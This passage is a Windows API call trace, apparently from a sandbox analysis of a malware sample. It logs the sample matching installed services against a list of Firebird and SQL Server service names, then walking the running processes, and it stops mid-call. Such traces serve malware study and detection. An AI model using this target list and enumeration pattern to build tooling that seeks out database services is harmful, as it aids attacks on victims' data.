[0161.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0161.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0161.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0161.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0161.590] lstrlenW (lpString="CryptSvc") returned 8 [0161.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.590] lstrlenW (lpString="DcomLaunch") returned 10 [0161.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.590] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.590] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.590] lstrlenW (lpString="DeviceAssociationService") returned 24 [0161.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0161.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0161.590] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0161.590] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0161.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0161.590] lstrlenW (lpString="Dhcp") returned 4 [0161.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.591] lstrlenW (lpString="Dnscache") returned 8 [0161.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.591] lstrlenW (lpString="DPS") returned 3 [0161.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.591] lstrlenW (lpString="DusmSvc") returned 7 [0161.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0161.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0161.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0161.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0161.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0161.591] lstrlenW (lpString="EventLog") returned 8 [0161.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0161.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0161.591] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0161.591] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0161.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0161.591] lstrlenW (lpString="EventSystem") returned 11 [0161.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.591] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.591] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.591] lstrlenW (lpString="FontCache") returned 9 [0161.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0161.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0161.591] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0161.592] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0161.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0161.592] lstrlenW (lpString="gpsvc") returned 5 [0161.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.592] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.592] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.592] lstrlenW (lpString="iphlpsvc") returned 8 [0161.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.592] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.592] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.592] lstrlenW (lpString="KeyIso") returned 6 [0161.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0161.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0161.592] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0161.592] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0161.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0161.592] lstrlenW (lpString="LanmanServer") returned 12 [0161.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.592] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.592] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0161.592] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.592] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.592] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.592] lstrlenW (lpString="lfsvc") returned 5 [0161.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0161.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0161.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0161.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0161.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0161.593] lstrlenW (lpString="lmhosts") returned 7 [0161.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.593] lstrlenW (lpString="LSM") returned 3 [0161.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0161.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0161.593] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0161.593] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0161.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0161.593] lstrlenW (lpString="MpsSvc") returned 6 [0161.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.593] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.593] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.593] lstrlenW (lpString="NcbService") returned 10 [0161.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0161.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0161.593] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0161.593] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0161.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0161.593] lstrlenW (lpString="netprofm") returned 8 [0161.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.593] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.593] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.594] lstrlenW (lpString="NgcSvc") returned 6 [0161.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0161.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0161.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0161.594] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0161.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0161.594] lstrlenW (lpString="NlaSvc") returned 6 [0161.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.594] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.594] lstrlenW (lpString="nsi") returned 3 [0161.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.594] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.594] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.594] lstrlenW (lpString="PcaSvc") returned 6 [0161.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.594] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.594] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.594] lstrlenW (lpString="PlugPlay") returned 8 [0161.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.594] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.594] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.594] lstrlenW (lpString="Power") returned 5 [0161.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.595] lstrlenW (lpString="ProfSvc") returned 7 [0161.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.595] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.595] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0161.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0161.595] lstrlenW (lpString="RpcEptMapper") returned 12 [0161.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0161.595] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0161.595] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0161.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0161.595] lstrlenW (lpString="RpcSs") returned 5 [0161.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0161.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0161.595] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0161.595] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0161.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0161.595] lstrlenW (lpString="SamSs") returned 5 [0161.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0161.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0161.595] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0161.595] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0161.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0161.595] lstrlenW (lpString="Schedule") returned 8 [0161.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0161.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0161.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0161.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0161.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0161.595] lstrlenW (lpString="SecurityHealthService") returned 21 [0161.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0161.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0161.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0161.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0161.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0161.596] lstrlenW (lpString="SENS") returned 4 [0161.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0161.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0161.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0161.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0161.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0161.596] lstrlenW (lpString="ShellHWDetection") returned 16 [0161.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0161.596] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0161.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0161.596] lstrlenW (lpString="Spooler") returned 7 [0161.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0161.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0161.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0161.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0161.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0161.596] lstrlenW (lpString="StateRepository") returned 15 [0161.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0161.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0161.596] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0161.596] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0161.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0161.596] lstrlenW (lpString="SysMain") returned 7 [0161.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0161.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0161.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0161.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0161.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0161.596] lstrlenW (lpString="SystemEventsBroker") returned 18 [0161.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0161.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0161.597] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0161.597] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0161.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0161.597] lstrlenW (lpString="Themes") returned 6 [0161.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0161.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0161.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0161.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0161.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0161.597] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0161.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0161.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0161.597] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0161.597] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0161.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42479b0 | out: hHeap=0x660000) returned 1 [0161.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0161.608] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.609] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.609] lstrlenW (lpString="System") returned 6 [0161.609] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.610] lstrlenW (lpString="smss.exe") returned 8 [0161.610] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.610] lstrlenW (lpString="csrss.exe") returned 9 [0161.611] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.611] lstrlenW (lpString="wininit.exe") returned 11 [0161.611] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.612] lstrlenW (lpString="csrss.exe") returned 9 [0161.612] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.612] lstrlenW (lpString="winlogon.exe") returned 12 [0161.612] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.613] lstrlenW (lpString="services.exe") returned 12 [0161.613] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.614] lstrlenW (lpString="lsass.exe") returned 9 [0161.614] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.614] lstrlenW (lpString="svchost.exe") returned 11 [0161.614] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.615] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.615] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0161.615] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0161.615] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.616] lstrlenW (lpString="svchost.exe") returned 11 [0161.616] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.616] lstrlenW (lpString="dwm.exe") returned 7 [0161.617] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.617] lstrlenW (lpString="svchost.exe") returned 11 [0161.617] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.618] lstrlenW (lpString="svchost.exe") returned 11 [0161.618] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.618] lstrlenW (lpString="svchost.exe") returned 11 [0161.618] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.619] lstrlenW (lpString="svchost.exe") returned 11 [0161.619] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: 